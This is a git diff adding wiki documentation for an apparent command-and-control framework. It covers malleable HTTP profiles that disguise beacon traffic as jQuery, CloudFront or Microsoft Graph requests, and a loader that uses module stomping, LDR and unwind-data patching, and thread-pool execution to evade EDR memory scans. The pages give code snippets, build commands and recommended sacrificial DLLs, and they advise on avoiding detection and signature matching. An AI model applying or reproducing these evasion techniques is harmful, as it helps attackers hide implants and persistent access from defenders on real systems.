Clean everything | `make clean && make -C src_server clean` | diff --git a/wiki/Malleable-C2-Profiles.md b/wiki/Malleable-C2-Profiles.md new file mode 100644 index 0000000..6ba8821 --- /dev/null +++ b/wiki/Malleable-C2-Profiles.md @@ -0,0 +1,532 @@ +# Malleable C2 Profiles + +NoNameAx uses a **malleable C2 profile** system that controls how the beacon and teamserver encode, place, and wrap all HTTP traffic. A single JSON profile defines every aspect of network communication -- URIs, headers, cookies, body templates, encoding formats, and error pages -- so that C2 traffic blends with legitimate services like jQuery CDNs, AWS CloudFront, or Microsoft Graph API. + +Profiles are loaded at three points in the lifecycle: + +1. **Build time** -- profile bytes are embedded into the beacon shellcode via PIC-safe macros +2. **Registration** -- the server sends a `PROFILE` wire frame (0x82) when the beacon first checks in +3. **Runtime** -- operators push a replacement profile to a live beacon with the `profile` command (0x30) + +--- + +## Profile JSON Format + +Profiles live in the `profiles/` directory. The top-level structure is a `callbacks` array, where each entry defines a complete C2 callback configuration. Currently only the first callback entry is used. + +``` +profiles/ + jquery-stealth.json # jQuery CDN impersonation + aws-cloudfront.json # AWS CloudFront/S3 impersonation + ms365-graph.json # Microsoft 365 Graph API impersonation +``` + +### Top-Level Schema + +```json +{ + "callbacks": [ + { + "hosts": ["", ...], + "user_agent": "", + "beacon_id_header": "
", + "rotation": "sequential | random", + "server_error": { ... }, + "get": { ... }, + "post": { ... } + } + ] +} +``` + +| Field | Type | Description | +|-------|------|-------------| +| `hosts` | string array | Callback host:port targets. Max 4 entries. | +| `user_agent` | string | HTTP User-Agent header (max 256 chars). | +| `beacon_id_header` | string | Header name used to carry the agent session ID on every request. Default: `X-Beacon-Id`. | +| `rotation` | string | URI rotation strategy: `"sequential"` cycles through URIs in order, `"random"` picks one at random each callback. | +| `server_error` | object | Custom error page returned to scanners and non-beacon requests. | +| `get` | object | HTTP GET transaction config (heartbeat / check-in). | +| `post` | object | HTTP POST transaction config (task results). | + +### Server Error Block + +Returned for any request that does not match a valid beacon check-in. + +```json +"server_error": { + "status": 404, + "body": "...", + "headers": { + "Content-Type": "text/html", + "Server": "nginx/1.24.0" + } +} +``` + +--- + +## HTTP Transactions + +Each transaction (GET and POST) has the same structural layout but different purposes: + +- **GET** = heartbeat. The beacon checks in, identifies itself, and retrieves pending tasks. +- **POST** = results. The beacon sends command output back to the server. + +```json +"get": { + "uri": ["/jquery-3.3.1.min.js", "/assets/js/analytics.js", "/static/bundle.js"], + "client": { ... }, + "server": { ... } +} +``` + +### Transaction Schema + +| Field | Type | Description | +|-------|------|-------------| +| `uri` | string array | URI paths rotated per the top-level `rotation` setting. Max 8 entries, each max 128 chars. | +| `client` | object | Controls what the beacon sends (request-side encoding). | +| `server` | object | Controls what the teamserver returns (response-side encoding). | + +--- + +## Client Config + +The `client` block controls how the beacon constructs its outbound HTTP request. + +```json +"client": { + "headers": { "Accept": "text/html", "Referer": "https://www.google.com/" }, + "metadata": { ... }, + "output": { ... }, + "parameters": { "v": "3.3.1" } +} +``` + +| Field | Applies To | Description | +|-------|-----------|-------------| +| `headers` | GET, POST | Static HTTP headers added to every request. Max 8 entries. | +| `metadata` | GET, POST | How the beacon embeds its session ID (or encrypted metadata). | +| `output` | POST only | How command results are encoded in the POST body. | +| `parameters` | GET only | Static query string parameters appended to the URI. | + +--- + +## OutputConfig + +`OutputConfig` is the core encoding primitive used by `metadata`, `output` (client), and `output` (server). It defines a pipeline of transformations applied to raw data before it is placed into the HTTP message. + +### OutputConfig Fields + +```json +{ + "format": "raw | base64 | base64url | hex", + "mask": true, + "placement": "header | cookie | parameter | body", + "name": "__cfduid", + "prepend": "{\"status\":\"ok\",\"telemetry\":\"", + "append": "\",\"version\":\"2.1.0\"}" +} +``` + +| Field | Type | Description | +|-------|------|-------------| +| `format` | string | Encoding format applied to the data. | +| `mask` | bool | When `true`, applies a 4-byte random XOR key before format encoding. Wire format: `key[4] \|\| xor(data, key)`. | +| `placement` | string | Where the encoded result is placed in the HTTP message. | +| `name` | string | Name of the header, cookie, or query parameter (ignored for `body` placement). | +| `prepend` | string | Static string prepended to the encoded data before placement. | +| `append` | string | Static string appended to the encoded data after placement. | +| `empty_response` | string | Server-side only. Returned when there are no pending tasks (instead of encoded empty data). | + +### Format Values + +| Value | Wire Byte | Description | +|-------|-----------|-------------| +| `raw` | `0x00` | No encoding. Data is placed as-is. | +| `base64` | `0x01` | Standard Base64 (RFC 4648, with padding). | +| `base64url` | `0x02` | URL-safe Base64 (no padding). | +| `hex` | `0x03` | Lowercase hexadecimal. | + +### Placement Values + +| Value | Wire Byte | Description | +|-------|-----------|-------------| +| `body` | `0x00` | Data placed in the HTTP body. | +| `header` | `0x01` | Data placed as a custom HTTP header value. | +| `cookie` | `0x02` | Data placed as a cookie value (`Cookie: name=value`). | +| `parameter` | `0x03` | Data placed as a URL query parameter (`?name=value`). | + +--- + +## Encoding Pipeline + +The encode and decode pipelines are symmetric. Understanding the order of operations is critical for writing profiles that interoperate correctly. + +### Encode (outbound -- beacon client or server response) + +``` +raw_data + | + v +[XOR mask?] -- if mask=true: prepend 4-byte random key, XOR each byte + | + v +[format encode] -- base64 / base64url / hex / raw + | + v +[prepend/append] -- wrap with static strings + | + v +[place] -- insert into header / cookie / parameter / body +``` + +### Decode (inbound -- server reading client or beacon reading server) + +``` +HTTP message + | + v +[extract] -- read from header / cookie / parameter / body + | + v +[strip prepend/append] -- remove static wrapper strings + | + v +[format decode] -- base64 / base64url / hex / raw + | + v +[XOR unmask?] -- if mask=true: read 4-byte key prefix, XOR remaining bytes + | + v +raw_data +``` + +Both beacon (C) and teamserver (Go) implement this pipeline independently: + +| Component | Encode | Decode | +|-----------|--------|--------| +| **Beacon (C)** | `NaxEncodeData()` in `HttpCodec.c` | `NaxDecodeData()` in `HttpCodec.c` | +| **Teamserver (Go)** | `encodeServerOutput()` in `pl_http_transform.go` | `decodeClientInput()` in `pl_http_transform.go` | + +--- + +## Server Config + +The `server` block controls how the teamserver wraps its HTTP response. + +```json +"server": { + "headers": { + "Content-Type": "application/javascript; charset=utf-8", + "Cache-Control": "max-age=0, public", + "Server": "nginx/1.24.0" + }, + "output": { + "format": "base64", + "mask": true, + "placement": "body", + "prepend": "/*! jQuery v3.3.1 ... */\n/* data: ", + "append": " */\n});", + "empty_response": "/*! jQuery v3.3.1 ... minified no-op ... */;" + } +} +``` + +The `empty_response` field is important: when the server has no pending tasks for the beacon, it returns this static string verbatim instead of encoding empty data. This lets the response look like a normal (cacheable) JavaScript file even on idle callbacks. + +--- + +## Example: jquery-stealth.json + +This profile disguises C2 traffic as requests to a jQuery CDN. Below is a breakdown of how each direction of communication is handled. + +### GET (Heartbeat) + +``` +BEACON REQUEST (every sleep interval): + GET /jquery-3.3.1.min.js?v=3.3.1 HTTP/1.1 + Host: 192.168.77.128:8080 + User-Agent: Mozilla/5.0 (Windows NT 10.0; ...) Chrome/120.0.0.0 + Accept: text/html,application/xhtml+xml,... + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate + Referer: https://www.google.com/ + Cookie: __cfduid= + X-Correlation-Id: + +SERVER RESPONSE (tasks pending): + HTTP/1.1 200 OK + Content-Type: application/javascript; charset=utf-8 + Cache-Control: max-age=0, public + X-Content-Type-Options: nosniff + Server: nginx/1.24.0 + + /*! jQuery v3.3.1 | (c) JS Foundation ... */ + !function(e,t){"use strict"; ... o=n.slice; + /* data: */ + }); + +SERVER RESPONSE (no tasks): + /*! jQuery v3.3.1 | (c) JS Foundation ... */ + !function(e,t){"use strict";}("undefined"!=typeof window?window:this,...); +``` + +### POST (Results) + +``` +BEACON REQUEST (sending command output): + POST /api/v1/telemetry HTTP/1.1 + Content-Type: application/json + Accept: application/json + X-Requested-With: XMLHttpRequest + X-Request-Id: + X-Correlation-Id: + + {"status":"ok","telemetry":"","version":"2.1.0"} + +SERVER RESPONSE: + HTTP/1.1 200 OK + Content-Type: application/json + Server: nginx/1.24.0 + + {"status":"accepted"} +``` + +### Error Page (Non-Beacon Requests) + +``` +HTTP/1.1 404 Not Found +Content-Type: text/html +Server: nginx/1.24.0 +Connection: keep-alive + +404 Not Found +

404 Not Found


+
nginx/1.24.0
+``` + +--- + +## Build-Time Embedding + +At build time, the Go agent plugin serializes the profile into a compact binary format and emits two C macros in `Config.h`: + +- `NAX_PROFILE_LEN` -- byte count of the serialized profile +- `NAX_PROFILE_WRITE(p)` -- PIC-safe per-byte MOV instructions that write the profile into a buffer + +The `NAX_PROFILE_WRITE` macro is included from a separate auto-generated file (`Config_profile.h`) because profiles can be large (1000--2000+ bytes). + +```c +/* Config.h (generated by BuildPayload) */ +#define NAX_PROFILE_LEN 1669u +#include "Config_profile.h" +``` + +```c +/* Config_profile.h - auto-generated */ +#define NAX_PROFILE_WRITE( p ) do { \ + (p)[ 0]=0x02; (p)[ 1]=0x01; (p)[ 2]=0x11; (p)[ 3]=0x00; \ + /* ... 1669 bytes of per-byte assignments ... */ \ +} while(0) +``` + +This approach avoids `.rdata` string pooling -- every byte is an immediate operand in the `.text` section, which is essential for PIC shellcode that has no relocations. + +### Binary Wire Format (v2) + +The serialized profile follows this binary layout (all integers little-endian): + +``` +version(1) = 0x02 +rotation(1) = 0x00 (sequential) | 0x01 (random) +user_agent = lpstr +beacon_id_header = lpstr +host_count(2) = N + hosts[N] = lpstr... + +server_error: + err_status(2) + err_body = lpstr + err_hdr_count(2) = M + err_headers[M] = lpstr... + +GET block: + uri_count(2) = N + uris[N] = lpstr... + client_meta = OutputConfig + client_hdr_count(2) = N + headers[N] = lpstr... (e.g. "Accept: */*") + client_param_count(2)= N + params[N] = lpstr... (e.g. "v=3.3.1") + server_output = OutputConfig + server_hdr_count(2) = N + headers[N] = lpstr... (beacon skips these) + +POST block: + uri_count(2) = N + uris[N] = lpstr... + client_meta = OutputConfig + client_output = OutputConfig + client_hdr_count(2) = N + headers[N] = lpstr... + server_output = OutputConfig + server_hdr_count(2) = N + headers[N] = lpstr... (beacon skips these) +``` + +Where `lpstr` is `length(uint16LE) + bytes` and `OutputConfig` is: + +``` +format(1) -- 0=raw, 1=base64, 2=base64url, 3=hex +mask(1) -- 0=off, 1=on +placement(1) -- 0=body, 1=header, 2=cookie, 3=parameter +name = lpstr +prepend = lpstr +append = lpstr +empty_resp = lpstr +``` + +--- + +## Runtime Profile Switching + +Operators can push a new profile to a live beacon using the `profile` command from the Adaptix operator console. + +### Workflow + +``` +Operator Teamserver Beacon + | | | + |-- profile {file} -------->| | + | |-- save to ExtenderData --->| + | |-- CMD_PROFILE (0x30) wire->| + | | |-- NaxDecodeProfile() + | | |-- reconfigure URIs, + | | | headers, encoding + | | | + | |<-- next GET uses new profile + | |-- listener picks up new | + | | profile from store | +``` + +### Server Side + +1. The `profile` command handler (`pl_commands.go`) receives a base64-encoded JSON profile, parses it, and serializes it to the v2 binary wire format. +2. The profile is persisted to the teamserver's `TsExtenderData` store keyed by agent ID so the listener can look it up. +3. A `CMD_PROFILE` (0x30) task is queued for the beacon containing the serialized binary profile. + +### Beacon Side + +1. The beacon receives the `CMD_PROFILE` task in its normal task processing loop. +2. `NaxDecodeProfile()` in `PackerProfile.c` parses the v2 binary format and populates the `NAX_CONFIG` struct. +3. All subsequent HTTP requests use the new URIs, headers, cookies, encoding, and metadata placement. +4. The rotation indices (`GetUriIdx`, `PostUriIdx`) are reset to zero. + +### Listener Side + +The listener polls `TsExtenderData` every 5 seconds (`pollProfileStore()`) for updated per-agent profile overrides. When a new profile is detected: + +1. The `ProfileConfig` is parsed and stored in a `sync.Map` keyed by agent ID. +2. The previous profile is preserved in a separate map (`agentPrevProfiles`) to handle in-flight requests that may still use the old profile. +3. The global list of known beacon ID header names is rebuilt (`rebuildBeaconIDHeaders()`) so the HTTP handler can identify beacons using any header name -- current or previous. + +--- + +## Beacon-Side Data Structures + +The beacon stores all profile data in the `NAX_CONFIG` struct (defined in `Instance.h`): + +```c +typedef struct _NAX_OUTPUT_CFG { + BYTE Format; /* NAX_FMT_RAW / BASE64 / BASE64URL / HEX */ + BYTE Mask; /* 0 or 1 */ + BYTE Placement; /* NAX_PLACE_BODY / HEADER / COOKIE / PARAMETER */ + CHAR Name[ 128 ]; + CHAR Prepend[ 512 ]; + UINT16 PrependLen; + CHAR Append[ 512 ]; + UINT16 AppendLen; + CHAR EmptyResp[ 512 ]; + UINT16 EmptyRespLen; +} NAX_OUTPUT_CFG; +``` + +Profile fields in `NAX_CONFIG`: + +| Field | Type | Max | Description | +|-------|------|-----|-------------| +| `ProfileVersion` | `BYTE` | -- | 1 (legacy) or 2 (current) | +| `Rotation` | `BYTE` | -- | 0=sequential, 1=random | +| `BeaconIdHdr` | `CHAR[128]` | 127 | Session ID header name | +| `HostCount` | `BYTE` | 4 | Number of callback hosts | +| `Hosts` | `CHAR[4][128]` | 4 | Callback host:port strings | +| `UserAgent` | `CHAR[256]` | 255 | HTTP User-Agent | +| `GetUriCount` / `PostUriCount` | `BYTE` | 8 | Number of URIs per transaction | +| `GetUris` / `PostUris` | `CHAR[8][128]` | 8 | URI path strings | +| `GetClientMeta` | `NAX_OUTPUT_CFG` | -- | GET metadata encoding config | +| `PostClientMeta` | `NAX_OUTPUT_CFG` | -- | POST metadata encoding config | +| `PostClientOutput` | `NAX_OUTPUT_CFG` | -- | POST body encoding config | +| `GetServerOutput` | `NAX_OUTPUT_CFG` | -- | GET response decoding config | +| `PostServerOutput` | `NAX_OUTPUT_CFG` | -- | POST response decoding config | +| `GetClientHdrs` | `CHAR[8][256]` | 8 | Extra GET request headers | +| `PostClientHdrs` | `CHAR[8][256]` | 8 | Extra POST request headers | +| `GetClientParams` | `CHAR[8][128]` | 8 | GET query string parameters | + +--- + +## Writing a Custom Profile + +### Step-by-Step + +1. Copy an existing profile from `profiles/` as a starting point. +2. Choose a service to impersonate (CDN, API, analytics endpoint). +3. Set `hosts` to your redirector or listener addresses. +4. Design the GET transaction to look like a normal page/asset load: + - Pick URIs that match the impersonated service + - Place metadata in a cookie or header that the service would normally use + - Configure server output with realistic prepend/append wrappers +5. Design the POST transaction to look like a telemetry or API call: + - Use URIs and headers consistent with the impersonated service + - Wrap the POST body in a JSON or XML template using prepend/append +6. Set `server_error` to match the impersonated web server's 404 page. +7. Test by loading the profile in a listener and checking traffic in a proxy. + +### Guidelines + +- **Keep prepend/append under 512 bytes each.** The beacon has fixed 512-byte buffers for these fields. +- **Header names max 128 chars, header values max 256 chars.** These are hard limits in the beacon `NAX_CONFIG` struct. +- **Max 8 URIs per transaction, max 4 hosts.** Enforced by the beacon parser. +- **Max 8 extra headers and 8 parameters per transaction.** +- **Use `mask: true` for any field carrying real data.** The 4-byte XOR key adds entropy that prevents signature matching on the encoded payload. +- **Always set `empty_response` on GET server output.** Without it, idle callbacks return encoded empty data, which looks suspicious. +- **Use `base64url` for header/cookie/parameter placements** to avoid characters that break HTTP parsing (e.g., `+`, `/`, `=` in cookies). +- **The `beacon_id_header` must be consistent** between the profile embedded in the beacon and the listener config. Mismatches cause the listener to reject check-ins. + +### Validation + +The profile is validated at two points: + +1. **Build time** -- the Go agent plugin's `BuildPayload` serializes the JSON to binary wire format; malformed JSON or missing required fields cause a build error. +2. **Runtime switch** -- the `profile` command in the operator console parses and validates the JSON before queuing the task. Invalid profiles are rejected before reaching the beacon. + +--- + +## Source File Reference + +| File | Language | Role | +|------|----------|------| +| `profiles/*.json` | JSON | Profile definitions | +| `src_server/listener_nonameax_http/pl_http_profile.go` | Go | JSON parsing (v2 callbacks format + flat UI format) | +| `src_server/listener_nonameax_http/pl_http_transform.go` | Go | Encode/decode pipeline, XOR mask, extraction helpers | +| `src_server/listener_nonameax_http/pl_http_profile_store.go` | Go | Per-agent profile override persistence and polling | +| `src_server/listener_nonameax_http/pl_wire.go` | Go | `ProfileConfig` / `OutputConfig` / `HTTPTransaction` struct definitions, binary serialization | +| `src_server/agent_nonameax/pl_commands.go` | Go | `profile` command handler (0x30), wire serialization | +| `src_server/agent_nonameax/pl_profile.go` | Go | Profile store save/delete, `DefaultProfile()` | +| `src_beacon/include/Instance.h` | C | `NAX_OUTPUT_CFG` struct, `NAX_CONFIG` profile fields, format/placement constants | +| `src_beacon/include/Config.h` | C | Generated build config with `NAX_PROFILE_LEN` / `NAX_PROFILE_WRITE` macros | +| `src_beacon/include/Config_profile.h` | C | Auto-generated per-byte profile WRITE macro | +| `src_beacon/include/Wire.h` | C | `NAX_CMD_PROFILE` (0x30), `NAX_WIRE_PROFILE` (0x82) constants | +| `src_beacon/src/Core/PackerProfile.c` | C | Binary profile decoder (`NaxDecodeProfile`), v1 and v2 | +| `src_beacon/src/Transport/HttpCodec.c` | C | `NaxEncodeData` / `NaxDecodeData` pipeline, header builder | diff --git a/wiki/Module-Stomping.md b/wiki/Module-Stomping.md new file mode 100644 index 0000000..83f5756 --- /dev/null +++ b/wiki/Module-Stomping.md @@ -0,0 +1,347 @@ +# Module Stomping + +The NaX loader supports **module stomping** as its primary memory allocation strategy. Instead of placing beacon shellcode in private memory (PRV) allocated by `NtAllocateVirtualMemory`, module stomping loads a sacrificial Windows DLL and overwrites its `.text` section with the beacon. The result is beacon code running from image-backed (IMG) memory with `PAGE_EXECUTE_READ` protection - indistinguishable from a legitimately loaded DLL in memory scans. + +## Why Module Stomping + +EDR products flag a well-known pattern: large blocks of private memory with executable permissions. Any `NtAllocateVirtualMemory` call that produces a committed, executable, unbacked region is a strong indicator of injected code - reflective loaders, shellcode runners, and in-memory implants all leave this signature. + +Module stomping sidesteps the heuristic entirely: + +| Property | VirtualAlloc (PRV) | Module Stomp (IMG) | +|----------|--------------------|--------------------| +| Memory type | Private | Image (mapped file) | +| Backing | None (pagefile) | On-disk DLL | +| Permissions after setup | PAGE_EXECUTE_READ | PAGE_EXECUTE_READ | +| MEM_IMAGE flag | No | Yes | +| Appears in loaded module list | No | Yes (patched LDR entry) | +| Stack walk | Start address = beacon | Start address = ntdll!TppWorkerThread | + +The `MODULE_STOMP=1` build (default) produces payloads that use image-backed memory. `MODULE_STOMP=0` falls back to `NtAllocateVirtualMemory` for testing or environments where module stomping is impractical. + +## Compile-Time Configuration + +Technique selection is entirely compile-time, controlled by preprocessor defines passed through the Makefile. There are no runtime branches between stomp and virtual modes - the unused path is not compiled into the binary. + +### Makefile Variables + +| Variable | Values | Default | Effect | +|----------|--------|---------|--------| +| `MODULE_STOMP` | `0` / `1` | `0` | Sets `--module-stomp` flag in packed header | +| `STOMP_DLL` | Any DLL name | `chakra.dll` | Sacrificial DLL embedded in NaxHeader | +| `STOMP_PDATA` | `0` / `1` | Same as `MODULE_STOMP` | Enables `.pdata`/`.xdata` unwind stomping | +| `NAX_STOMP_MODE` | `0` (VIRTUAL) / `1` (MODULE) | `1` | Compile-time stomp strategy for loader | +| `NAX_EXEC_MODE` | `0` (THREAD) / `1` (THREADPOOL) | `1` | Compile-time execution transfer method | + +### Build Examples + +```bash +# Default: module stomp with chakra.dll, thread pool execution +make MODULE_STOMP=1 + +# Custom sacrificial DLL +make MODULE_STOMP=1 STOMP_DLL=mshtml.dll + +# Module stomp with .pdata unwind stomping +make MODULE_STOMP=1 STOMP_PDATA=1 + +# Fallback: private memory allocation (for testing) +make MODULE_STOMP=0 NAX_STOMP_MODE=0 +``` + +### Preprocessor Defines (src_loader/include/Defs.h) + +```c +#define NAX_STOMP_VIRTUAL 0 // NtAllocateVirtualMemory path +#define NAX_STOMP_MODULE 1 // Module stomp path + +#define NAX_EXEC_THREAD 0 // CreateThread +#define NAX_EXEC_THREADPOOL 1 // TpAllocWork / TpPostWork +``` + +The loader compiles only the selected path. When `NAX_STOMP_MODE == NAX_STOMP_MODULE`, the virtual allocation functions are excluded entirely, and vice versa. Same for execution mode. + +## Packed Binary Layout (NaxHeader v2) + +The `pack_nax.py` script assembles the final payload with a 160-byte header between the loader shellcode and the beacon: + +``` ++------------------+ +| Loader (.text) | Position-independent loader shellcode ++------------------+ +| NaxHeader v2 | 160 bytes - metadata for the loader ++------------------+ +| Beacon (.text) | PIC beacon shellcode ++------------------+ +| .pdata blob | RUNTIME_FUNCTION entries (if STOMP_PDATA) ++------------------+ +| .xdata blob | UNWIND_INFO records (if STOMP_PDATA) ++------------------+ +``` + +### NaxHeader v2 Structure + +The header is accessed via pointer arithmetic (no struct, since the loader is PIC shellcode with no relocations): + +``` +Offset Size Field Description +------ ------ ----------- ------------------------------------------ +0 4 Magic 0x4E415832 ("NAX2") +4 4 BeaconSize Beacon blob size in bytes +8 4 PdataSize .pdata blob size (0 if disabled) +12 4 XdataSize .xdata blob size (0 if disabled) +16 4 OrigTextRva Beacon's .text section RVA from ELF link +20 4 Flags Bit 0: MODULE_STOMP, Bit 1: STOMP_PDATA +24 128 StompDll WCHAR[64], NUL-terminated DLL name +152 8 Reserved Zero-padded +------ ------ ----------- ------------------------------------------ +Total: 160 bytes +``` + +The loader finds the header at `LOADER_END()` - the first byte past its own shellcode - then indexes into it with `HDR_U32(ptr, offset)` and `HDR_WSTR(ptr, offset)` macros. + +## Module Stomp Flow + +Implementation lives in `src_loader/src/Stomp.c` (`NaxModuleStomp`) with PE helpers in `Pe.c` and LDR patching inline. + +### Step-by-Step + +``` + Loader Main() + | + +--------------------+--------------------+ + | | + NAX_STOMP_MODULE NAX_STOMP_VIRTUAL + | | + LoadLibraryExW(DLL, NtAllocateVirtualMemory + DONT_RESOLVE_DLL_REFERENCES) PAGE_READWRITE + | | + NaxPatchLdr() MmCopy beacon + (fix LDR entry) | + | VirtualProtect + NaxFindSection(.text) PAGE_EXECUTE_READ + validate size >= beacon | + | NaxExec*() + VirtualProtect(.text, PAGE_READWRITE) + | + MmCopy beacon -> .text + | + VirtualProtect(.text, PAGE_EXECUTE_READ) + | + [optional: stomp .pdata/.xdata] + | + NaxExec*() +``` + +### 1. Load Sacrificial DLL + +```c +DllBase = LoadLibraryExW( DllName, NULL, DONT_RESOLVE_DLL_REFERENCES ); +``` + +The `DONT_RESOLVE_DLL_REFERENCES` flag is critical: it maps the DLL into the process address space as an image (creates image-backed VAD entries) but **does not** call `DllMain`, resolve imports, or execute TLS callbacks. The DLL is loaded but inert. + +### 2. Patch LDR Entry + +`NaxPatchLdr()` walks the PEB loader data table (`PEB->Ldr->InLoadOrderModuleList`) to find the entry matching `DllBase`, then: + +- Sets `EntryPoint` to the address calculated from `OptionalHeader.AddressOfEntryPoint` +- Adds flags `LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED` + +This makes the DLL appear as though it was loaded normally via `LoadLibrary` with all initialization complete. Without this patch, the DLL's LDR entry would lack the `ENTRY_PROCESSED` flag, which some tools use to detect hollow/stomped modules. + +### 3. Find and Validate .text Section + +```c +TextSec = NaxFindSection( Nt, IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE ); +if ( !TextSec || TextSec->SizeOfRawData < BeaconSize ) + return NULL; +``` + +`NaxFindSection()` iterates the PE section table looking for the first section whose characteristics include both `IMAGE_SCN_CNT_CODE` and `IMAGE_SCN_MEM_EXECUTE`. If the `.text` section is smaller than the beacon, the stomp aborts and returns NULL - the loader does not attempt partial writes or section splitting. + +### 4. Stomp Beacon into .text + +```c +VirtualProtect( TextBase, SizeOfRawData, PAGE_READWRITE, &OldProt ); +MmCopy( TextBase, BeaconSrc, BeaconSize ); +VirtualProtect( TextBase, SizeOfRawData, PAGE_EXECUTE_READ, &OldProt ); +``` + +The permission sequence is: + +1. `PAGE_EXECUTE_READ` (original DLL .text) -> `PAGE_READWRITE` (to write beacon) +2. Copy beacon bytes over the DLL's code +3. `PAGE_READWRITE` -> `PAGE_EXECUTE_READ` (final state) + +**No RWX at any point.** The memory is never simultaneously writable and executable. After setup, the beacon runs from `PAGE_EXECUTE_READ` image-backed memory - the same protection and backing type as any legitimate loaded DLL. + +### 5. Stomp Unwind Data (.pdata / .xdata) + +If the packed binary includes `.pdata` and `.xdata` blobs (controlled by `STOMP_PDATA`), the loader replaces the sacrificial DLL's exception handling metadata with entries that describe the beacon's functions. + +```c +// Find the DLL's .pdata section via the exception directory +PdataSec = NaxFindSectionByDir( Nt, IMAGE_DIRECTORY_ENTRY_EXCEPTION ); + +// Validate capacity: must hold both pdata entries AND xdata records +if ( PdataSec->SizeOfRawData >= ( PdataSize + XdataSize ) ) { + // Copy pdata entries first, xdata immediately after + MmCopy( PdataBase, PdataSrc, PdataSize ); + MmCopy( PdataBase + PdataSize, XdataSrc, XdataSize ); +``` + +#### RVA Adjustment + +The `.pdata` entries (RUNTIME_FUNCTION structs) are stored in the packed binary with **0-based offsets** - the build-time `pack_nax.py` script normalizes them by subtracting the beacon's original `.text` and `.xdata` RVAs. The loader adds the DLL's actual RVAs at runtime: + +```c +for ( ULONG i = 0; i < EntryCount; i++ ) { + Entries[i].BeginAddress += DllTextRva; // DLL's .text section VA + Entries[i].EndAddress += DllTextRva; + Entries[i].UnwindData += XdataRva; // PdataRva + PdataSize +} +``` + +Where: +- `DllTextRva` = the sacrificial DLL's `.text` section `VirtualAddress` +- `XdataRva` = `PdataRva + PdataSize` (xdata is placed immediately after pdata) + +Finally, the loader patches the PE optional header's exception data directory to point to the new `.pdata`: + +```c +Nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress = PdataRva; +Nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size = PdataSize; +``` + +This requires a temporary `PAGE_READWRITE` on the PE header page, restored immediately after. + +#### Build-Time .pdata Preparation + +The `pack_nax.py` packer performs several transformations on the unwind data before embedding it: + +1. **Normalize RVAs** - Subtract the beacon's `.text` RVA from `BeginAddress`/`EndAddress` and the `.xdata` RVA from `UnwindData`, producing 0-based offsets +2. **Prepend Entry.asm unwind info** - Builds a RUNTIME_FUNCTION + UNWIND_INFO for the loader's `Entry.asm` stub (the actual entry point that calls `NaxMain`), placing its UNWIND_INFO at the start of `.xdata` +3. **Shift existing UnwindData offsets** - All existing `.pdata` entries get their `UnwindData` offset increased by the size of the prepended UNWIND_INFO + +The result is that after the loader applies DLL-relative RVA adjustments, Windows sees valid unwind metadata for every function in the beacon, including the entry stub. + +### 6. Execution Transfer + +After stomping, the loader transfers execution to the beacon entry point (the start of the DLL's `.text` section where the beacon was written). + +#### Thread Pool Mode (default) + +```c +TpAllocWork( &Work, (PTP_WORK_CALLBACK)Entry, NULL, NULL ); +TpPostWork( Work ); +TpReleaseWork( Work ); +``` + +The beacon runs as a Windows thread pool work item. The resulting thread has `ntdll!TppWorkerThread` as its start address - this is a legitimate Windows thread pool worker, making the beacon thread blend in with normal application threads. EDR products examining thread start addresses see a known ntdll function, not a suspicious address inside a DLL's `.text` section. + +#### CreateThread Mode (fallback) + +```c +CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)Entry, NULL, 0, NULL ); +``` + +A direct `CreateThread` call. The stack is clean (`RtlUserThreadStart` -> `BaseThreadInitThunk` -> beacon), but the thread start address points directly at the beacon entry - visible to thread enumeration tools. + +Both modes include a fallback: if the API call fails, the beacon is invoked as a direct function call on the current thread. + +## Sacrificial DLL Selection + +The stomped DLL must satisfy several constraints: + +| Requirement | Reason | +|-------------|--------| +| `.text` section >= beacon size | The beacon is written into `.text`; no fallback if too small | +| `.pdata` section >= pdata + xdata size | Unwind data must fit (if `STOMP_PDATA` enabled) | +| Signed Windows DLL | Must appear legitimate; unsigned or third-party DLLs draw scrutiny | +| Not commonly loaded | Avoids conflicts if the target process already loaded the DLL normally | +| No critical side effects on load | Even with `DONT_RESOLVE_DLL_REFERENCES`, the DLL is mapped | + +### Recommended DLLs + +| DLL | .text Size (approx) | Notes | +|-----|---------------------|-------| +| `chakra.dll` | ~3 MB | Default. Legacy Edge JavaScript engine, rarely loaded in most processes | +| `mshtml.dll` | ~7 MB | Trident HTML engine, very large .text, good for big beacons | +| `jscript9.dll` | ~2 MB | IE JavaScript engine | +| `d3d11.dll` | ~1 MB | DirectX 11, less common in non-GUI processes | + +The DLL name is embedded in the NaxHeader and read by the loader at runtime. Changing the DLL requires only a rebuild with `STOMP_DLL=`: + +```bash +make MODULE_STOMP=1 STOMP_DLL=mshtml.dll +``` + +## Memory Layout After Stomping + +After `NaxModuleStomp` completes, the in-memory state is: + +``` +Process Memory Map +================== + +chakra.dll (image-backed, MEM_IMAGE) ++-------------------------------------------+ +| PE Headers PAGE_READONLY | Patched: exception directory ++-------------------------------------------+ points to new .pdata +| .text PAGE_EXECUTE_READ | <-- beacon shellcode lives here +| [beacon code] | +| [unused remainder = original DLL code] | ++-------------------------------------------+ +| .rdata PAGE_READONLY | Original DLL read-only data ++-------------------------------------------+ +| .data PAGE_READWRITE | Original DLL data ++-------------------------------------------+ +| .pdata PAGE_READONLY | Stomped: beacon RUNTIME_FUNCTION +| [RUNTIME_FUNCTION entries] | entries + UNWIND_INFO records +| [UNWIND_INFO records (.xdata)] | ++-------------------------------------------+ +| .rsrc PAGE_READONLY | Original DLL resources ++-------------------------------------------+ + +PEB Loader Data +=============== +InLoadOrderModuleList: + ... + -> chakra.dll + DllBase = 0x00007FFA12340000 + EntryPoint = DllBase + AddressOfEntryPoint + Flags = LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | ... + ... + +Thread Pool +=========== +Worker thread: + StartAddress = ntdll!TppWorkerThread + Callback = 0x00007FFA12341000 (chakra.dll .text + 0x1000) +``` + +## Source Files + +| File | Purpose | +|------|---------| +| `src_loader/src/Stomp.c` | `NaxModuleStomp()`, `NaxPatchLdr()` - core stomping logic | +| `src_loader/src/Pe.c` | `NaxPeHeaders()`, `NaxFindSection()`, `NaxFindSectionByDir()` - PE parsing | +| `src_loader/src/Exec.c` | `NaxExecThreadPool()`, `NaxExecThread()` - execution transfer | +| 